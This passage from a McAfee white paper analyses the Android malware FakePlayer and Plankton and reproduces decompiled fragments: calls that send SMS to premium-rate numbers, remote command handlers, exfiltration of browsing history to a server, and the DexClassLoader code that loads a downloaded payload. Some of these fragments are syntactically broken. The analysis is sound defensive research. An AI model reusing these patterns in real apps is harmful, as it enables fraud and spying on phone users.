        android.app.PendingIntent pendingintent1 = null;   
        int i;
        try
        {
            smssmanager.sendTextMessage(s, s2, s1, pendingintent, pendingintent1);   
        }   
        catch(Exception exception)
        {
            i = Log.e("Oops in playstore", ", exception);   
        }
    }
}
```

Figure 10. Showing the text message and sending an SMS to premium-rate numbers.
Then it will try to do the same with the number 3354. At the end the method datahelper.was() is going to be called, and with that, the SQL statement prepared at the beginning will be executed inserting a “was” in the database. The purpose of that value is to avoid the execution of the payload every time that the application is opened by the user. The SMS messages will be sent only one time because the canwe method will check if the “was” is present in the database “movieplayer.db”. The last class, HelloWorld, is very similar to MoviePlayer, but it will not create and use the class DataHelper; it will only show the text and send the SMS:

```java
public class HelloWorld extends Activity {
    public void onCreate(Bundle paramBundle) {
        super.onCreate(paramBundle);
        TextView localTextView = new TextView(this);
        localTextView.setText("Нажмите ок для доступа к видеотеке");
        setContentView(localTextView);
        SmsManager localSmsManager = SmsManager.getDefault();
        try {
            localSmsManager.sendTextMessage("3353", null, "798657", null, null);
            str1 = "3354"
            str2 = null;
            localPendingIntent1 = null;
            localPendingIntent2 = null;
        }
    }
}
```

Figure 11. HelloWorld class not using DataHelper.

Based on the fact that HelloWorld and Movie Player have the same functionality, it is possible to modify the logic of the application by only changing the main activity in the Manifest, reducing in some cases antivirus detection based on the integrity of the file (but not affecting other generic detections). In general, FakePlayer is very simple malware with a specific purpose, a “HelloWorld” class that perhaps was used to test some functionality and a rudimentary method to track the application to see if was executed for the first time. However, malware currently is more sophisticated than this example, and Plankton shows how complex malicious code for Android is nowadays.
The present

On June 6, a research group at North Carolina State University discovered a new stealthy Android Spyware: Plankton. The team notified Google that 10 applications were available at the official Android Market and, on the same day, these apps were suspended pending investigation. Once the file is opened and its contents extracted (using 7-zip in this case), in the "res/drawable" folder there is the icon of the application which is related to the recent movie *Rio*:

![Application icon](image)

Figure 12. Application icon.

As with Fake Player, the XML will be transformed from its binary form to clear text using the tool AXMLPrinter2 (with JRE installed, execute java -jar AXMLPrinter2.jar AndroidManifest.xml Manifest.txt). The decoded XML shows that the application consists of one activity and one service that will be executed to run in the background:

```
<activity
    android:name=" Initializing">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>

<service
    android:name="com.google.plankton/android/com.google.plankton.service.AndroidMDKProvider" android:enabled="true">
    <intent-filter>
        <action android:name="android.service.notification.MANAGE_NOTIFICATIONS"/>
    </intent-filter>
</service>
```

Figure 13. Activity and service in the Manifest.

The name of the activity is AngryBirdsRiounlocker, which is the part of the application that has a graphical interface where the user can interact. The other component of the application is the service AndroidMDKProvider that will be running in the background. In addition to the declaration of the components, the Manifest specifies some general permissions that are required by the application:

```
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_HISTORY_BOOKMARKS"/>
```

Figure 14. General permissions in the Manifest.
Now it is clearer as to why this malware was initially classified as spyware: the application requires access to the Internet and to the Wi-Fi state and also requires access to the list of contacts, the history of calls, and the history bookmarks which probably will be sent later to a remote server. More interesting though is that Plankton will require permissions to Install/Uninstall shortcuts and Read/Change of the Home Screen Launcher, including the most popular nowadays (the default for Motorola, HTC and LG) to provide compatibility with most of the devices:

![Specific permissions in the Manifest.](image15.jpg)

To review the functionality of that suspicious service, the classes.dex can be analyzed using a Java Decompiler, but first it should be transformed into a jar file using the tool dex2jar (executing the file dex2jar.bat in Windows or dex2jar-dump.sh in Linux). The result will be a jar file which, when opened with a Java Decompiler (in this case JD-GUI), will show the structure of the application. At first sight, it seems to be more complex than Fake Player, containing more classes and packages than the first SMS Trojan for Android:

![Plankton structure.](image16.jpg)
At the bottom of the structure, two packages are implemented as libraries by Plankton that seem to be based in the following open source projects:

- **Jackson**—It is a high-performance Java implementation of a JSON (JavaScript Object Notation) processor used for serializing and transmitting structured data over a network connection (as an alternative to XML)
- **Springframework**—An application framework for the Java platform that provides several services to simplify the development of Android applications

With respect to the common package, there are some components inside that, based on the code inside each one, it seems to consist of implementations of the some well-known Java Design Patterns like Adapter, Data Transfer Object (DTO), and Facade. The DTO package implements the required structures to collect, handle, and store in memory information like the user’s browsing history, browser bookmarks (title of the webpage, related shortcut, and URL), shortcuts for the home screen, and even runtime log information. It also can collect information related to the device itself (just like other malware seen in the wild):

```java
public class Build extends BaseDTO
{
    private static final long serialVersionUID = 4764386617418790541L;
    private String brand;
    private String device;
    private String manufacturer;
    private String model;
    private String versionRelease;
    private int versionSDKInt;
}
```

Figure 17. Plankton storing object information about the infected device.

The application also implements some commands that can be remotely executed in the device:

```java
ACTIVATION = new Commands("ACTIVATION", 1, "Activation", "activate");
HOMEPAGE = new Commands("HOMEPAGE", 2, "Homepage", "homepage");
COMMANDS_STATUS = new Commands("COMMANDS_STATUS", 3, "CommandsStatus", "/commandstatus");
BOOKMARKS = new Commands("BOOKMARKS", 4, "Bookmarks", "/bookmarks");
SHORTCUTS = new Commands("SHORTCUTS", 5, "Shortcuts", "/shortcuts");
HISTORY = new Commands("HISTORY", 6, "History", "/history");
TERMINATE = new Commands("TERMINATE", 7, "Terminate", "/terminate");
STATUS = new Commands("STATUS", 8, "Status", "/status");
DUMP_LOG = new Commands("DUMP_LOG", 9, "DumpLog", "/dumplog");
UNEXPECTED_EXCEPTION = new Commands("UNEXPECTED_EXCEPTION", 10, "UnexpectedException", "/unexpectedexception");
```

Figure 18. Commands implemented in Plankton.
Once one of the commands is sent to the infected device, the application will be listening, and it will call the method required to perform the requested action. For example, when the command /dumplog is received, the following code is executed:

```java
public final String a(String paramString1, String paramString2)
{
    try
    {
        ArrayList localArrayList = new ArrayList();
        boolean bool1 = localArrayList.add("Logcat");
        boolean bool2 = localArrayList.add("-d");
        boolean bool3 = localArrayList.add("-v");
        boolean bool4 = localArrayList.add("time");
        boolean bool5 = localArrayList.add("process");
        boolean bool6 = localArrayList.add("tag");
        Runtime localRuntime = Runtime.getRuntime();
        String[] arrayOfString1 = new String[0];
        String[] arrayOfString2 = (String[])localArrayList.toArray(arrayOfString1);
        Process localProcess = localRuntime.exec(arrayOfString2);
    }
}
```

Figure 19. Example of the remote execution of commands in the system.

Back to the activity specified in the Manifest. As soon as the application is executed, some initial information about the infected application is collected like the application, the developer ID and the M_SERVER_URL (Master Server URL). The following action is to initiate the service AndroidMDKProvider by calling the startService method:

```java
public void onCreate(Bundle paramBundle)
{
    super.onCreate(paramBundle);
    setContentView(2130903040);
    getRequestedOrientation();
    if (Build.VERSION.SDK_INT >= 7)
    {
        Intent localIntent1 = new Intent(this, AndroidMDKProvider.class);
        String str1 = getApplicationContext().getResources().getText(2130968578).toString();
        Intent localIntent2 = localIntent1.putExtra("APPLICATION_ID", str1);
        String str2 = getApplicationContext().getResources().getText(2130968579).toString();
        Intent localIntent3 = localIntent2.putExtra("DEVELOPER_ID", str2);
        String str3 = getApplicationContext().getResources().getText(2130968580).toString();
        Intent localIntent4 = localIntent3.putExtra("M_SERVER_URL", str3);
        ComponentName localComponentName = startService(localIntent4);
    }
}
```

Figure 20. Starting the malicious service in the background.
It is important to note that all three values are obtained from the resources of the application calling the `getResources()` method. Inside the apk, when it is decompressed, there is a file called “resources.arsc” that stores all the information about the resources of the application in a table using an ID to identify each resource. Usually, this file does not contain useful information. Although, in this case, if the file is opened with a text editor, an interesting string can be found:

![Figure 21. Master Server URL in resources.arsc.](image)

Let’s get back to the application flow. In the implementation of the `onStart` in the service `AndroidMDKProvided`, it can be noted that, at this point, the analysis becomes very difficult due to the obfuscation implemented in the code. The creation of empty packages and abstract interfaces with a letter as a name (from A to E) complicates the static analysis:

![Figure 22. Example of obfuscation in the code.](image)
After in-depth analysis of the code, an interesting class was found where there are some methods implemented that are initializing an HTTP POST response to send private data to a remote server:

```
public final HistoryResponse prepareHistoryRequest(String param)
{
    // Code...
}

public final ShortcutResponse prepareShortcutRequest(String param)
{
    // Code...
}
```

Figure 23. Preparing the HTTP POST request to send private data to a remote server.

Until now, the application has an activity that obtains some values from the resources.arsc file inside the apk (including the Master Server URL), and then starts a service that will be running in the background listening for commands that will trigger an action like, for example, collecting private data (bookmarks and browser history among others) to send to a remote server. However, according to the preliminary technical analysis done by the research team that discovered Plankton in the official Android Market, the most interesting characteristics of this malware are that “Plankton is the first one that we are aware of that exploits Dalvik class loading capability to stay stealthy and dynamically extend its own functionality.” In fact, in the sample analyzed by this research team, there is some extra functionality that is not present in the Angry Birds Unlocker sample:

- When the application sends a HTTP POST message, a URL is returned by the remote server that points to a jar file with Dalvik code inside. This payload is dynamically loaded, making Plankton harder to detect by software antivirus.
- The commands that can be remotely invoked are defined by the payload plankton_v0.0.4.jar, according to the technical analysis done by the research team at North Carolina State University—although, the Angry Birds Unlocker sample has the commands defined inside the code itself in the class com.plankton.dto.Command. As a result, those commands are not being loaded dynamically. Also the commands “UPGRADE” and “INSTALLATION” are not present in this sample.
That functionality can be found in another sample, the application “Can you drive,” along with other differences:

- Unlike the Angry Birds Unlocker sample, the URL of the master server is not obtained from the resources.arsc file. Instead, the URL is hard-coded in the source code:

```java
public static void initMER(Context paramContext, String paramString1, String paramString2)
    {
        if (Build.VERSION.SDK_INT < 7);  
            return;
        Intent localIntent1 = new intent(paramContext, AngryBirdsActivity.class);
        Intent localIntent2 = localIntent1.putExtra("APPLICATION_ID", paramString1);
        Intent localIntent3 = localIntent2.putExtra("VERSION", paramString2);
        ComponentName localComponentName = paramContext.startActivity(localIntent4);
    }

public final void a(Object[] paramArrayOfObject)
    {
    }
```

Figure 24. URL present in the source code.

- The “Can you drive” sample includes the functionality to dynamically load a payload downloaded from a remote server.

The last point is the most innovative characteristic of Plankton because the payload can be virtually anything, even a zero-day exploit to gain administrator privileges on the device. This can be done through the standard DexClassLoader, available in the official Android API:

```java
String str4 = "background.png jar location" + (String)localObject + ":, trying to load class";
    try
    {
        String str5 = this.getClassLoader().getClassLoader(str4);
        Class localClass = new DexClassLoader(String.valueOf(localObject), str5, null, localClassLoader).loadClass("com.plankton.device.android.AndroidAPIProvider");
        String localStringBuilder = this.a.append("class was loaded successfully");
        localObject = localClassLoader;
        return localObject;
    } catch (Throwable localThrowable)
    {
        while (true)
        {
            String localStringBuilder5 = this.a.append("Couldn't load class \\
                ");
            String localStringBuilder6 = this.a.append(localObject);
            String localStringBuilder7 = this.a.append(localObject);
            String localStringBuilder8 = this.a.append(localObject);
            int localInt = str5.indexOf(localObject);
            String localStringBuilder9 = this.a.append(localObject);
            localObject = null;
        }
```

Figure 25. Loading the payload using DexClassLoader.

In conclusion, Plankton is sophisticated malware that can be classified as a spyware due to the fact that its main purpose is to collect private information from the device and send it to a remote server. In some versions, Plankton includes the functionality to download a payload that can be loaded dynamically in runtime, adding new functionalities in real time and making it harder to detect, evading traditional static signatures. Now that the current state of the art of the Android malware was presented, let’s take a look at what we can expect in the future for these types of threats.
The future
Android malware has evolved from a simple Trojan that sends SMS to premium-rate services, without the knowledge and authorization of the user to sophisticated code that is able to infect legitimate applications, encrypt data using symmetric-key encryption (AES), propagate via the official Android Market, get root privileges in the device using two different exploits, receive and execute commands remotely, act as a downloader by installing applications without user’s knowledge and, lastly, dynamically load a payload from a remote server.

Nowadays, all Android malware examples are classified as a Trojan horses because all the families seen so far in the wild do not self-replicate (they require an action from the user). Taking into account that most of Android devices have permanent network connectivity, probably the next step in the evolutionary ladder would be an Android worm that exploits remotely a zero-day vulnerability in the system to install the payload and start seeking out other vulnerable devices on the Internet.

In addition to the worm functionality, another evolutionary step would be an Android rootkit. This kind of threat in traditional computers would enable continued privileged access while actively hiding its presence. Taking into account that (1) nowadays some malware is able to root the device and (2) already a kernel-level Android rootkit proof-of-concept malicious code with this characteristic is almost a reality. In addition to the stealth feature, Android rootkits would be harder to remove, especially if they are kernel-mode rootkits because they would add or replace code directly in the core of the operating system. Going further, it is possible that a future firmware rootkit could exist to create a persistent malware image in a hardware device.

Finally, to evade traditional detection methods, polymorphic and metamorphic Android malware are another possibility. Those features are aimed at changing the form of each instance of the malware by using encryption or appended/pre-pended data. The first strategy has been already seen in DroidKungFu, which uses AES to encrypt the two exploits that later are launched to get root privileges in the device. An advanced mechanism would automatically change the code of the malware each time that it is executed. Both characteristics would add a level of complexity to detection and removal of this kind of threat.
White Paper Android Malware—Past, Present, and Future

Conclusion

Smartphones are becoming an essential part of our life, and they are starting to replace traditional computers because of their superior mobility and nearly omnipresent Internet access. For this reason, these kinds of devices are becoming more popular every day. At the same time, Android is getting a lot of attention, and its popularity is growing exponentially each year. Because of the popularity and ubiquity of smartphones, malware authors are starting to develop new threats for this platform that are being actively distributed via what is supposed to be a trusted source: the official Android Market.

In addition to this important propagation vector, Android malware is evolving quickly. From an SMS Trojan, passing through legitimate applications repacked with malicious code to continuing with AES-encrypted root exploits to the ability to load dynamically a payload downloaded from a remote server, malicious code is constantly changing to provide better functionality and to evade detection by using different methods from those used in traditional malware for years. In conclusion, it is expected that the Android malware will continue its evolution by adding new propagation vectors, functionality, and stealth techniques to hide its presence and evade the detection of antivirus software.

Acknowledgements

Thanks to Michael Price for the support during the research phase and to Rohit Varma for his valuable feedback on the last section of this white paper. I also appreciate the valuable feedback offered by Gabriel Acevedo and Guilherme Venere during final review of this document.


About McAfee
McAfee, a wholly owned subsidiary of Intel Corporation (NASDAQ:INTC), is the world’s largest dedicated security technology company. McAfee delivers proactive and proven solutions and services that help secure systems, networks, and mobile devices around the world, allowing users to safely connect to the Internet, browse, and shop the web more securely. Backed by its unrivaled global threat intelligence, McAfee creates innovative products that empower home users, businesses, the public sector, and service providers by enabling them to prove compliance with regulations, protect data, prevent disruptions, identify vulnerabilities, and continuously monitor and improve their security. McAfee is relentlessly focused on constantly finding new ways to keep our customers safe. http://www.mcafee.com